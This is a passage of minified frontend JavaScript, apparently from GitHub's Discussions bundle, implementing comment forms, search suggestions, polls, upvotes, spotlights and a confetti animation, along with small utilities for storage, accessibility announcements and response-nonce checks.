s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var 